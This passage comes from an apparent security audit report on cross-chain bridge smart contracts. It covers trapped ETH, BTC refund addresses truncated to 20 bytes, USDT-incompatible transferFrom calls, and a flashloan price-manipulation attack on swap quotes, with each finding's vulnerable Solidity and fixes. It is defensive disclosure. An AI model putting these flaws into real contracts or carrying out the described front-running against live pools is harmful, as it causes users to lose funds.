Fund Lockup: ETH from failed transactions becomes trapped, causing permanent loss for users.
User Experience Degradation: Inability to recover funds undermines trust in the bridging system.
No response
native transfer should be handle in onRevert()
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#26
Source: #916
0xEkko, 0xShoonya, Aenovir, AnomX, EgisSecurity, Goran, Ob, PolarizedLight, elolpuer, fromeo_016, montecristo, oxch0w, pyk, rsam_eth, shushu
BTC addresses are casted to 20 bytes resulting in incorrect addresses
When gateway calls GatewayCrossChain::onCall or user calls GatewayTransferNative::withdrawToNativeChain to withdraw zBTC (BTC to native chain), the _handleBitcoinWithdraw constructs the revertOtions with decoded.receiver but casts the decoded.receiver to 20 bytes which is wrong for BTC wallets (BTC addresses are bech32):
https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/main/omni-chain-contracts/contracts/GatewayCrossChain.sol#L363-L377
function _handleBitcoinWithdraw(
bytes32 externalId,
DecodedMessage memory decoded,
uint256 outputAmount,
uint256 gasFee
) internal {
if (gasFee >= outputAmount) revert NotEnoughToPayGasFee();
IZRC20(decoded.targetZRC20).approve(
address(gateway),
outputAmount + gasFee
);
withdraw( //==> call withdraw here
externalId,
decoded.receiver, //==> second parameter is decoded.receiver which is the BTC wallet to receive funds
decoded.targetZRC20,
outputAmount - gasFee
);
} function withdraw(
bytes32 externalId,
bytes memory sender, //==> second parameter is decoded.receiver which is the BTC wallet to receive funds
address outputToken,
uint256 amount
) internal {
gateway.withdraw(
sender,
amount,
outputToken,
RevertOptions({
revertAddress: address(this),
callOnRevert: true,
abortAddress: address(0),
//==> cast sender to a bytes20 which results in a wrong address
revertMessage: bytes.concat(externalId, bytes20(sender)),
onRevertGasLimit: gasLimit
})
);
} function onRevert(RevertContext calldata context) external onlyGateway {
// 52 bytes = 32 bytes externalId + 20 bytes evmWalletAddress
bytes32 externalId = bytes32(context.revertMessage[0:32]);
bytes memory walletAddress = context.revertMessage[32:];
if(context.revertMessage.length == 52) { //==> revertMessage length is 52 bytes in the BTC revert options
address receiver = address(uint160(bytes20(walletAddress))); //==> wrong receiver
TransferHelper.safeTransfer(context.asset, receiver, context.amount); //==> lost fundsThis results in user refunds being sent to a wrong address
decoded.receiveris bytes representation of a valid BTC address
- CCTX to send funds to BTC chain fails
onRevertis called onGatewayCrossChainorGatewayTransferNative
- Alice withdraws funds to BTC address 'bc1q2whrmp2a6j46sxjjk3c7xqs7e7tr7u3348pghu'
RevertOptions.walletAddressis set to029d71ec2aeea55d40d295a38f1810f67cb1fb91(used www.bech32converter.com to convertbc1q2whrmp2a6j46sxjjk3c7xqs7e7tr7u3348pghuto029d71ec2aeea55d40d295a38f1810f67cb1fb91)- onRevert function is called and funds are sent to
0x029d71ec2aeea55d40d295a38f1810f67cb1fb91
- Broken refund logic
- Loss of user refunds
No response
Do not cast walletAddress to 20 bytes:
function withdraw(
bytes32 externalId,
bytes memory sender,
address outputToken,
uint256 amount
) public {
gateway.withdraw(
sender,
amount,
outputToken,
RevertOptions({
revertAddress: address(this),
callOnRevert: true,
abortAddress: address(0),
- revertMessage: bytes.concat(externalId, bytes20(sender)),
+ revertMessage: bytes.concat(externalId, sender),
onRevertGasLimit: gasLimit
})
);
}sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#27
Source: #928
0xc0ffEE, 0xiehnnkta, 0xlucky, 0xpetern, 10ap17, Abhan1041, CoheeYang, Constant, Cybrid, Falendar, Goran, Greese, Kalyan-Singh, Oxsadeeq, Pianist, SafetyBytes, X0sauce, ZeroTrust, anirruth_, bube, cccz, dmdg321, eLSeR17, eightx, elolpuer, farismaulana, harry, holtzzx, iamandreiski, ifeco445, kazan, lls, mgf15, miracleworker0118, montecristo, n08ita, patitonar, radevweb3, rsam_eth, shushu, silver_eth, skipper, theweb3mechanic, wellbyt3, x0rc1ph3r, yoooo, zh1x1an1221
The GatewaySend contract incorrectly uses raw IERC20.transferFrom() calls wrapped in require() statements, expecting a boolean return value from all ERC20 tokens. However, tokens like USDT, which have a void return type, cause these calls to fail even when the transfer succeeds, as Solidity interprets the missing return as false. This makes the contract incompatible with major non-standard tokens, despite importing TransferHelper for safe transfers, which is not consistently applied.
N/A
N/A
A user, Charlie, tries to bridge 5,000 USDT from Ethereum to Polygon using depositAndCall(). After approving the GatewaySend contract to spend 5,000 USDT, Charlie initiates the transfer. The contract calls IERC20(USDT).transferFrom(charlie, contract, 5000), which successfully transfers the tokens, reducing Charlie’s balance and increasing the contract’s balance. However, since USDT’s transferFrom returns void instead of true, Solidity interprets this as false, triggering the require() failure with the error "INSUFFICIENT AMOUNT: ERC20 TRANSFER FROM FAILED." The transaction reverts, wasting Charlie’s gas fees and preventing the bridge operation.
Transaction Failures: Legitimate transfers revert, rendering the contract unusable for major tokens like USDT.
User Cost: Users lose gas fees due to failed transactions, degrading the bridging experience.
No response
safe transferrom shoyuld be used
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: Skyewwww/omni-chain-contracts#30
Issue M-12: An attacker will steal value from cross-chain swaps by manipulating liquidity used in _swapAndSendERC20Tokens()
Source: #937
This issue has been acknowledged by the team but won't be fixed at this time.
0xc0ffEE, 0xpetern, 4b, Bizarro, Constant, Cybrid, EgisSecurity, Goran, JuggerNaut, Mimis, Ob, Petrus, ZeroTrust, bladeee, cccz, dhank, fromeo_016, iamandreiski, richa, sheep, silver_eth, the_haritz, upWay, x0lohaclohell
The reliance on spot reserves from UniswapV2Library.getAmountsIn() will cause a loss of value for cross-chain users as an attacker will manipulate liquidity pools to skew price quotes and steal excess input tokens.
In gatewayCrossChaine.sol:_swapAndSendERC20Tokens(), the contract uses UniswapV2Library.getAmountsIn() to estimate how many targetZRC20 tokens are needed to obtain gasFee in gasZRC20. This quote is then used to swap tokens without checking for liquidity manipulation, allowing attackers to front-run the contract and change pool pricing.
.
.
- Attacker identifies a low-liquidity or custom pool for a token pair used in
getPathForTokens(). - Attacker front-runs a cross-chain user operation, sending a transaction that manipulates the reserves in the pool (e.g via a flashloan ).
- The contract executes
_swapAndSendERC20Tokens()using skewed reserves fromgetAmountsIn(), miscalculating the required amount. - As a result, the attacker receives an overpayment or manipulates swap slippage to extract value.
- After the swap completes, the attacker reverts the pool to its original state and profits from the imbalance.
The cross-chain user suffers a loss in targetZRC20 tokens, which are overpaid due to manipulated pricing.
The attacker gains the difference between the quoted and fair amount or causes a denial of service by making the swap fail (griefing).
No response
Enforce a hard slippage limit